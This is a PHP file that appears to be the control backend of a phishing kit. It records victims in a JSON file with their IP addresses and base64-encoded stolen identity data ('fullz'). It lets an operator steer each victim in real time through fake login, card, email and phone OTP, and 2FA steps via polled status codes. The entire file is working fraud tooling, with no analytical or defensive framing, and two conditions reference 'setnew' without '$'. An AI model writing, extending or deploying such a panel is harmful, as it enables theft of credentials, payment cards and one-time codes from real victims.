<?php
session_start();
$file="live.json";

function get_status_name($status) {
    switch ($status) {
        case 0: return 'WAITING...';
        case 1: return 'BLOCKED';
        case 2: return 'EMAIL';
        case 3: return 'CARD';
        case 4: return 'INFO';
        case 5: return 'ONETIME';
        case 6: return '2FA';
        case 7: return 'FINISHED';
        case 10: return 'LOGIN';
        case 11: return 'RE-LOGIN';
        case 13: return 'PHONE';
        case 14: return 'EMAIL OTP';
        case 15: return 'EMAIL OTP CODE';
        case 16: return 'PHONE OTP CODE';
        case 17: return 'WRONG EMAIL';
        default: return 'ACTIVE ('.$status.')';
    }
}

// Read existing data
if(file_exists($file)){
    $ud = file_get_contents($file);
    $udarray = json_decode($ud);
} else {
    $udarray = (object) array();
}

if ($udarray === null) {
    $udarray = (object) array();
}

// Handle Admin updates
if(isset($_POST['admin']) && isset($_POST['update']) && isset($_POST['property'])){
    $id = $_POST['update'];
    $prop = $_POST['property'];
    
    if(isset($udarray->{$id})){
        $udarray->$id->step = $prop;
        $udarray->$id->vid = get_status_name($prop);
        
        if($prop == "1"){
            $filed = "dve.json";
            if(file_exists($filed)){
                $uds = file_get_contents($filed);
                $udsarray = json_decode($uds);
                if(isset($udsarray->id) && $udsarray->id == $id){
                    unset($udsarray->id);
                    unset($udsarray->d);
                    file_put_contents($filed, json_encode((object)$udsarray));
                }
            }
            unset($udarray->$id);
        }
        file_put_contents($file, json_encode((object)$udarray));
    }
}

// Handle Client updates (heartbeat and redirection check)
if(isset($_POST['client']) && isset($_POST['vid'])){
    $id = $_POST['vid'];
    $l_status = isset($_POST['update']) ? $_POST['update'] : 'off';
    $setnew = isset($_POST['setnew']) ? $_POST['setnew'] : 8;
    
    if($l_status == 'on'){
        if(!isset($udarray->{$id})){
            $udarray->$id = (object) array("step" => 0, "vid" => "WAITING...");
        }
        
        if(isset($_SESSION['fullz'])){
            $udarray->$id->msg = base64_encode($_SESSION['fullz']);
        } elseif (!isset($udarray->$id->msg)) {
            $udarray->$id->msg = "";
        }
        
        if(isset($_SESSION['ip'])){
             $udarray->$id->ip = $_SESSION['ip'];
        }
        
        $udarray->$id->last_seen = time();
        
        $current_step = (string)$udarray->$id->step;
        $udarray->$id->vid = get_status_name((int)$current_step);

        if(($setnew == 9 || setnew == 8) && $current_step !== "0"){
            $udarray->$id->step = 0;
            file_put_contents($file, json_encode((object)$udarray));
            // Output only the step number, no whitespace
            ob_clean();
            echo trim($current_step);
            exit();
        }
        
        file_put_contents($file, json_encode((object)$udarray));
        
        if($setnew == 9 || setnew == 8){
            ob_clean();
            echo "0";
            exit();
        }
    }
}

echo json_encode((object)$udarray);
?>